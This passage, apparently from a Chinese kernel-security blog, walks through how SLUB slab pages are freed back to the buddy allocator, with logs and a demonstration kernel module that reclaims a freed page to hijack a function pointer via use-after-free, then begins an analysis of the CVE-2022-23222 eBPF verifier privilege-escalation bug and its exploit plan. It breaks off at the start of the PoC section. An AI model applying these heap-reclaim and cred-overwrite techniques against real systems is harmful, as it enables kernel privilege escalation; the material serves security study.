    [ 1185.002529] [06] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.004702] [07] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.006841] [08] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.008919] [09] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.010944] [10] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.013021] [11] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.014904] [12] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.016926] [13] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.018883] [14] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), 1
    **[ 1185.020761] [15] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), 1**
    **[ 1185.022735] [16] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), 1**
    [ 1185.024679] [17] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.026579] [18] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.028528] [19] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.030443] [20] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.032372] [21] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.034263] [22] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.036116] [23] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.038086] [24] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.039929] [25] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.041944] [26] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.043852] [27] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.045736] [28] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.047678] [29] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.049585] [30] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), 1
    **[ 1185.051391] [31] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), 1**
    **[ 1185.053206] [32] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), 1**
    [ 1185.055038] [33] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.056666] [34] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.058430] [35] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.060174] [36] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.061955] [37] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.063694] [38] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.065468] [39] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.067231] [40] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.068930] [41] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.070600] [42] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.072224] [43] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.073911] [44] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.075534] [45] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.077211] [46] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), 1
    **[ 1185.078887] [47] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), 1**

    有独立的 sysfs 目录

    1
    2
    3
    4
    5
    ➜  ~ file /sys/kernel/slab/my_struct
    /sys/kernel/slab/my_struct: directory

    ➜ ~ file /sys/kernel/slab/pool_workqueue
    /sys/kernel/slab/pool_workqueue: directory
  • Host result

    分配的 obj 位于的 page 地址非常杂乱,my_cachepname 也变成了 pool_workqueue

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    [435532.063645] Hello
    [435532.063655] my_cachep: ffff8faf40045900, pool_workqueue
    [435532.063658] my_cachep.size: 256
    [435532.063659] my_cachep.object_size: 256
    [435532.063660] cpu: 0
    [435532.063662] [00] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063664] [01] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063666] [02] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063668] [03] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063670] [04] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063672] [05] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063674] [06] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063676] [07] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063677] [08] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063679] [09] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063681] [10] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063683] [11] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063685] [12] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063687] [13] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063689] [14] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063690] [15] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063692] [16] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063694] [17] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063696] [18] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063698] [19] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063700] [20] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063702] [21] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063703] [22] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063705] [23] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063707] [24] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063709] [25] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063711] [26] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063713] [27] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063714] [28] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063716] [29] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063718] [30] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063720] [31] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063724] [32] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063726] [33] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063728] [34] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063730] [35] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063732] [36] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063734] [37] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063736] [38] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063737] [39] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063739] [40] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063741] [41] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063743] [42] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063745] [43] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063747] [44] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063749] [45] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063750] [46] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063752] [47] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.065672] Bye

    sysfs 目录也是和 pool_workqueue 共用的

    1
    2
    3
    4
    5
    └─[$] file /sys/kernel/slab/my_struct              
    /sys/kernel/slab/my_struct: symbolic link to :0000256

    └─[$] file /sys/kernel/slab/pool_workqueue
    /sys/kernel/slab/pool_workqueue: symbolic link to :0000256

Part. 3

根据前两个部分知道,开启 CONFIG_SLAB_MERGE_DEFAULT 配置后,不同类型的 kmem_cache 的内存完全隔离.

这种情况下,想要占据被释放的 slab object 内存(比如一个 struct file) 只能通过申请相同的 slab object,

而像 struct file 这样的内存,用户态可以操纵的内容非常有限,

解决办法是: 占据目标 object (e.g. struct file) 所在的整个 page,在 object invalid free 之后 free 掉同页面其他 object,再满足一系列条件 就可以让整个 page 被 buddy system 回收,并被重新申请


条件一:

目标 object 所在的 page 不是 s->cpu_slab->page

1
2
3
4
5
6
7
8
9
10
11
12
static __always_inline void do_slab_free(struct kmem_cache *s,
struct page *page, void *head, void *tail,
int cnt, unsigned long addr)
{
...
c = raw_cpu_ptr(s->cpu_slab);
...
**if (likely(page == c->page)) {**
...
} else
__slab_free(s, page, head, tail_obj, cnt, addr);
...

条件二:

object 所在 page 满足 page->pobjects > (s)->cpu_partial

1
2
3
4
5
6
7
8
// #define slub_cpu_partial(s) ((s)->cpu_partial)
static void put_cpu_partial(struct kmem_cache *s, struct page *page, int drain)
...
oldpage = this_cpu_read(s->cpu_slab->partial);
pobjects = oldpage->pobjects;
**if (drain && pobjects > slub_cpu_partial(s)) {**
...
unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));

条件三:

object 所在 page 位于 freelistpage.inuse为 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void unfreeze_partials(struct kmem_cache *s,
struct kmem_cache_cpu *c)
{
...
while ((page = slub_percpu_partial(c))) {
...
**if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {**
page->next = discard_page;
**discard_page = page;**
} else {
...
}
}
...
while (discard_page) {
page = discard_page;
discard_page = discard_page->next;

stat(s, DEACTIVATE_EMPTY);
**discard_slab(s, page);**
stat(s, FREE_SLAB);
}

触发方法:

  • 创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 page->pobjects > (s)->cpu_partial
  • 创建 objects 占据一个新的 page ,但不占满,保证 c->page 指向这个 page
  • free 掉一个 page 的所有 objects, 使这个 page 的 page.inuse == 0
  • 剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
/*
*
* 通过 free slab objects free 掉一个 page, 然后 UAF 利用
*
➜ ~ uname -r
5.10.90
* */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/slub_def.h>
#include <linux/sched.h>


#define OBJ_SIZE 256
#define OBJ_NUM (16 * 16)

struct my_struct {
union {
char data[OBJ_SIZE];
struct {
void (*func)(void);
char paddings[OBJ_SIZE - 8];
};
};
} __attribute__((aligned(OBJ_SIZE)));

static struct kmem_cache *my_cachep;
struct my_struct **tmp_ms;
struct my_struct *ms;
struct my_struct *random_ms;
struct page *target;


void hello_func(void){
pr_info("Hello\n");
}

void hack_func(void){
pr_info("Hacked\n");
}

static int __init km_init(void){
#define OO_SHIFT 16
#define OO_MASK ((1 << OO_SHIFT) - 1)
int i, cpu_partial, objs_per_slab;
struct page *target;
struct page *realloc;
void *p;

tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL);
my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0,
SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,NULL);

pr_info("%s\n", my_cachep->name);
pr_info("cpu_partial: %d\n", my_cachep->cpu_partial);
pr_info("objs_per_slab: %u\n", my_cachep->oo.x & OO_MASK);
pr_info("\n");

cpu_partial = my_cachep->cpu_partial;
objs_per_slab = my_cachep->oo.x & OO_MASK;

random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);

// 16 * 14
for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// 15
for(i = (objs_per_slab * (cpu_partial + 1));
i < objs_per_slab * (cpu_partial + 2) - 1; i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// free normal object
ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);
target = virt_to_page(ms);
pr_info("target page: %px\n", target);
ms->func = (void *)hello_func;
ms->func();
kmem_cache_free(my_cachep, ms);

// 17
for(i = objs_per_slab * (cpu_partial + 2) - 1;
i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// free page
for(i = (objs_per_slab * (cpu_partial + 1));
i < objs_per_slab * (cpu_partial + 2) - 1; i++){

kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}

for(i = objs_per_slab * (cpu_partial + 2) - 1;
i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}

for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
if(i % objs_per_slab == 0){
kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}
}

// in other evil task
realloc = alloc_page(GFP_KERNEL);
if(realloc == target){
pr_info("[+] Realloc success!!!\n");
}else{
return 0;
}

p = page_address(realloc);
for(i = 0; i< PAGE_SIZE/8; i++){
((void **)p)[i] = (void *)hack_func;
}

// UAF
if(0)
return;
else
ms->func();

free_page((unsigned long)p);

return 0;

}

static void __exit km_exit(void)
{
int i;

for(i = 0; i < OBJ_NUM; i++){
if(tmp_ms[i])
kmem_cache_free(my_cachep, tmp_ms[i]);
}
kmem_cache_free(my_cachep, random_ms);
kmem_cache_destroy(my_cachep);
kfree(tmp_ms);
pr_info("Bye\n");
}


module_init(km_init);
module_exit(km_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("X++D");
MODULE_DESCRIPTION("Kernel xxx Module.");
MODULE_VERSION("0.1");

CVE-2022-23222 eBPF verifier 提权漏洞利用分析

CVE-2022-23222 漏洞分析

author: moxingyuan from iceswordlab

一、漏洞背景

CVE-2022-23222 是一个 Linux 内核漏洞,其成因为 eBPF verifier 未阻止某些 *OR_NULL 类型指针的算数加减运算。利用该漏洞可导致权限提升。

受该漏洞影响的内核版本范围为 5.8 - 5.16 。

该漏洞分别在内核版本 5.10.92、5.15.15、5.16.1 中被修复,其中,5.10.92 版本修复该漏洞的 commit 为 [35ab8c9085b0af847df7fac9571ccd26d9f0f513](kernel/git/stable/linux.git - Linux kernel stable tree) 。

二、漏洞成因

漏洞形成于 kernel/bpf/verifier.c 的 adjust_ptr_min_max_vals 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}

...
}

在禁止特定指针类型的算数加减运算时,没有列举完所有的 *OR_NULL 类型指针,导致部分 *OR_NULL 类型指针可以进行非法运算。

所有的 *OR_NULL 类型指针可以在枚举类型 bpf_reg_type 中找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL, /* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
/* PTR_TO_BTF_ID points to a kernel struct that does not need
* to be null checked by the BPF program. This does not imply the
* pointer is _not_ null and in practice this can easily be a null
* pointer when reading pointer chains. The assumption is program
* context will handle null pointer dereference typically via fault
* handling. The verifier must keep this in mind and can make no
* assumptions about null or non-null when doing branch analysis.
* Further, when passed into helpers the helpers can not, without
* additional context, assume the value is non-null.
*/
PTR_TO_BTF_ID,
/* PTR_TO_BTF_ID_OR_NULL points to a kernel struct that has not
* been checked for null. Used primarily to inform the verifier
* an explicit null check is required for this struct.
*/
PTR_TO_BTF_ID_OR_NULL,
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
PTR_TO_RDONLY_BUF, /* reg points to a readonly buffer */
PTR_TO_RDONLY_BUF_OR_NULL, /* reg points to a readonly buffer or NULL */
PTR_TO_RDWR_BUF, /* reg points to a read/write buffer */
PTR_TO_RDWR_BUF_OR_NULL, /* reg points to a read/write buffer or NULL */
PTR_TO_PERCPU_BTF_ID, /* reg points to a percpu kernel variable */
};

可发现漏掉的指针类型包括:

  • PTR_TO_BTF_ID_OR_NULL
  • PTR_TO_MEM_OR_NULL
  • PTR_TO_RDONLY_BUF_OR_NULL
  • PTR_TO_RDWR_BUF_OR_NULL

三、漏洞相关知识

eBPF (Extended Berkeley Packet Filter) 由 cBPF (Classic Berkeley Packet Filter) 衍生而来,是一项可在内核虚拟机中运行程序的技术。使用eBPF无需修改内核源码,或者插入驱动,对系统的入侵性相对没那么强,可以安全并有效地扩展内核的功能。

3.1 eBPF指令

eBPF 使用类似 x86 的虚拟机指令,基础指令为 8 字节,其编码格式为:

32 bits (MSB) 16 bits 4 bits 4 bits 8 bits (LSB)
immediate offset source register destination register opcode

扩展指令在基础指令基础上增加 8 个字节的立即数,总长度为 16 字节。

伪指令是内核代码中定义的方便理解记忆的助记符,通常是对真实指令的包装。

下文中出现的指令/伪指令及其功能如下:

指令/伪指令 功能
BPF_MOV64_REG(DST, SRC) dst = src
BPF_MOV64_IMM(DST, IMM) dst_reg = imm32
BPF_ST_MEM(SIZE, DST, OFF, IMM) *(uint *) (dst_reg + off16) = imm32
BPF_STX_MEM(SIZE, DST, SRC, OFF) *(uint *) (dst_reg + off16) = src_reg
BPF_LDX_MEM(SIZE, DST, SRC, OFF) dst_reg = *(uint *) (src_reg + off16)
BPF_ALU64_IMM(OP, DST, IMM) dst_reg = dst_reg ‘op’ imm32
BPF_JMP_IMM(OP, DST, IMM, OFF) if (dst_reg ‘op’ imm32) goto pc + off16
BPF_LD_MAP_FD(DST, MAP_FD) dst = map_fd
BPF_EXIT_INSN() exit

3.2 eBPF寄存器

eBPF 共有 11 个寄存器,其中 R10 是只读的帧指针,剩余 10 个是通用寄存器。

  • R0: 保存函数返回值,及 eBPF 程序退出值
  • R1 - R5: 传递函数参数,调用函数保存
  • R6 - R9: 被调用函数保存
  • R10: 只读的帧指针

3.3 eBPF程序类型

所有 eBPF 程序类型定义在以下枚举类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC = 0,
BPF_PROG_TYPE_SOCKET_FILTER = 1,
BPF_PROG_TYPE_KPROBE = 2,
BPF_PROG_TYPE_SCHED_CLS = 3,
BPF_PROG_TYPE_SCHED_ACT = 4,
BPF_PROG_TYPE_TRACEPOINT = 5,
BPF_PROG_TYPE_XDP = 6,
BPF_PROG_TYPE_PERF_EVENT = 7,
BPF_PROG_TYPE_CGROUP_SKB = 8,
BPF_PROG_TYPE_CGROUP_SOCK = 9,
BPF_PROG_TYPE_LWT_IN = 10,
BPF_PROG_TYPE_LWT_OUT = 11,
BPF_PROG_TYPE_LWT_XMIT = 12,
BPF_PROG_TYPE_SOCK_OPS = 13,
BPF_PROG_TYPE_SK_SKB = 14,
BPF_PROG_TYPE_CGROUP_DEVICE = 15,
BPF_PROG_TYPE_SK_MSG = 16,
BPF_PROG_TYPE_RAW_TRACEPOINT = 17,
BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18,
BPF_PROG_TYPE_LWT_SEG6LOCAL = 19,
BPF_PROG_TYPE_LIRC_MODE2 = 20,
BPF_PROG_TYPE_SK_REUSEPORT = 21,
BPF_PROG_TYPE_FLOW_DISSECTOR = 22,
BPF_PROG_TYPE_CGROUP_SYSCTL = 23,
BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24,
BPF_PROG_TYPE_CGROUP_SOCKOPT = 25,
BPF_PROG_TYPE_TRACING = 26,
BPF_PROG_TYPE_STRUCT_OPS = 27,
BPF_PROG_TYPE_EXT = 28,
BPF_PROG_TYPE_LSM = 29,
BPF_PROG_TYPE_SK_LOOKUP = 30,
BPF_PROG_TYPE_SYSCALL = 31,
};

下文涉及到的类型只有 BPF_PROG_TYPE_SOCKET_FILTER 。该类型 eBPF 程序通过 setsockopt 附加到指定 socket 上面,对 socket 的流量进行追踪、过滤,可附加的 socket 类型包括 UNIX socket 。

该类型程序的传入参数为结构体 __sk_buff 指针,可通过调用 bpf_skb_load_bytes_relative 辅助函数经由该结构体获取 socket 流量。

3.4 eBPF map

eBPF map 是 eBPF 程序和用户态进行数据交换的媒介。其类型包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC = 0,
BPF_MAP_TYPE_HASH = 1,
BPF_MAP_TYPE_ARRAY = 2,
BPF_MAP_TYPE_PROG_ARRAY = 3,
BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4,
BPF_MAP_TYPE_PERCPU_HASH = 5,
BPF_MAP_TYPE_PERCPU_ARRAY = 6,
BPF_MAP_TYPE_STACK_TRACE = 7,
BPF_MAP_TYPE_CGROUP_ARRAY = 8,
BPF_MAP_TYPE_LRU_HASH = 9,
BPF_MAP_TYPE_LRU_PERCPU_HASH = 10,
BPF_MAP_TYPE_LPM_TRIE = 11,
BPF_MAP_TYPE_ARRAY_OF_MAPS = 12,
BPF_MAP_TYPE_HASH_OF_MAPS = 13,
BPF_MAP_TYPE_DEVMAP = 14,
BPF_MAP_TYPE_SOCKMAP = 15,
BPF_MAP_TYPE_CPUMAP = 16,
BPF_MAP_TYPE_XSKMAP = 17,
BPF_MAP_TYPE_SOCKHASH = 18,
BPF_MAP_TYPE_CGROUP_STORAGE = 19,
BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20,
BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21,
BPF_MAP_TYPE_QUEUE = 22,
BPF_MAP_TYPE_STACK = 23,
BPF_MAP_TYPE_SK_STORAGE = 24,
BPF_MAP_TYPE_DEVMAP_HASH = 25,
BPF_MAP_TYPE_STRUCT_OPS = 26,
BPF_MAP_TYPE_RINGBUF = 27,
BPF_MAP_TYPE_INODE_STORAGE = 28,
BPF_MAP_TYPE_TASK_STORAGE = 29,
};

下文使用到的类型包括 BPF_MAP_TYPE_ARRAY 和 BPF_MAP_TYPE_RINGBUF 。

顾名思义,BPF_MAP_TYPE_ARRAY 类似数组,索引为整形,值可为任意长度的内存对象。

BPF_MAP_TYPE_RINGBUF 是环形缓冲区,如果写入的数据来不及读取,导致积累的数据超过缓冲区长度,新数据则会覆盖掉旧数据。

3.5 eBPF辅助函数

eBPF 辅助函数(eBPF helper)是可在 eBPF 程序中使用的辅助函数。

内核规定了不同类型的eBPF程序可使用哪些辅助函数,比如,bpf_skb_load_bytes_relative 只有 socket 相关的 eBPF 程序可使用。

各 eBPF 辅助函数的函数原型由内核定义,下文使用到的一些辅助函数的原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct bpf_func_proto bpf_map_lookup_elem_proto = {
.func = bpf_map_lookup_elem,
.gpl_only = false,
.pkt_access = true,
.ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_KEY,
};

const struct bpf_func_proto bpf_ringbuf_reserve_proto = {
.func = bpf_ringbuf_reserve,
.ret_type = RET_PTR_TO_ALLOC_MEM_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_CONST_ALLOC_SIZE_OR_ZERO,
.arg3_type = ARG_ANYTHING,
};

可见 bpf_map_lookup_elem 的返回值类型是 RET_PTR_TO_MAP_VALUE_OR_NULL ,bpf_ringbuf_reserve 的返回值类型是RET_PTR_TO_ALLOC_MEM_OR_NULL 。

各 eBPF 辅助函数的功能可通过 man bpf-helpers 命令查看。

3.6 eBPF verifier

eBPF 程序在加载进内核之前,必须通过 eBPF verifier 的检查。只有符合要求的 eBPF 程序才允许被加载进内核,这是为了防止 eBPF 程序对内核进行破坏。

eBPF verifier 对 eBPF 程序的限制包括:

  • 不能调用任意的内核函数,只限于内核模块中列出的 eBPF helper 函数
  • 不允许包含无法到达的指令,防止加载无效代码,延迟程序的终止。
  • 限制循环次数,必须在有限次内结束。
  • 栈大小被限制为 MAX_BPF_STACK,截止到内核 5.10.83 版本,被设置为 512。
  • 限制 eBPF 程序的复杂度,verifier 处理的指令数不得超过 BPF_COMPLEXITY_LIMIT_INSNS,截止到内核 5.10.83 版本,被设置为100万。
  • 限制 eBPF 程序对内存的访问,比如不得访问未初始化的栈,不得越界访问 eBPF map 。

四、POC分析

POC 地址为:https://github.com/tr3ee/CVE-2022-23222

漏洞整体利用思路是通过欺骗 eBPF verifier 泄露内核地址,并实现内核任意地址读、写原语,通过任意读原语搜索进程 cred 所在地址,通过任意写原语修改进程 cred 以实现提权。

4.1 前置准备

